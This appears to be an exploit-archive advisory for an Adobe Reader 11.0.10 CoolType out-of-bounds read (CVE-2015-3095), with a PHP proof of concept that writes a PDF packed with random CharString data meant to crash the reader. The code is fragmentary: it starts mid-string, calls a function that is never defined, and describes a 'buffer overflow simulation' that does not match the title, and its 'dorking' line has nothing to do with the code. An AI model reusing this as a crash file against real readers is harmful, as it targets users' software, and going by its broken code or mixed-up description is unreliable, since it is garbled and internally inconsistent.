============================================================================================================================================= | # Title : Adobe Reader 11.0.10 CoolType Out-Of-Bounds Read vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) | | # Vendor : https://get.adobe.com/reader/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: Scanning for Buffer Overflow Vulnerability Using CharString in PDF This code aims to simulate the buffer overflow vulnerability in Adobe Reader by exploiting CharString instructions. The code generates random data in a PDF file that contains invalid CharString instructions, then simulates reading from the file and analyzes the data that might lead to a buffer overflow. (Related : https://packetstorm.news/files/id/189439/ Linked CVE numbers: CVE-2015-3095 ) . [+] save code as poc.php. [+] Usage = php poc.php [+] PayLoad : > endobj 2 0 obj << /Type /Pages /Kids [ 3 0 R ] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [ 0 0 612 792 ] /Contents 4 0 R >> endobj 4 0 obj << /Length 10240 >> stream "; // إضافة بيانات عشوائية لـ CharString $contentData = generateRandomCharString(1000); // توليد 1000 إدخال عشوائي لCharString $pdfContent .= $contentData . " endstream endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000100 00000 n 0000000200 00000 n 0000000300 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 400 %%EOF"; // حفظ الملف إلى جهاز الكمبيوتر file_put_contents($filePath, $pdfContent); echo "تم إنشاء ملف PDF مع تعليمات CharString غير صحيحة. حاول فتح الملف في Adobe Reader.\n"; } // مسار ملف الاختبار الذي يحتوي على بيانات CharString $filePath = "indoushka.pdf"; // إنشاء الملف واختبار الثغرة createTestPdf($filePath); // استدعاء الدالة لقراءة بيانات الملف readCharStringData($filePath); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================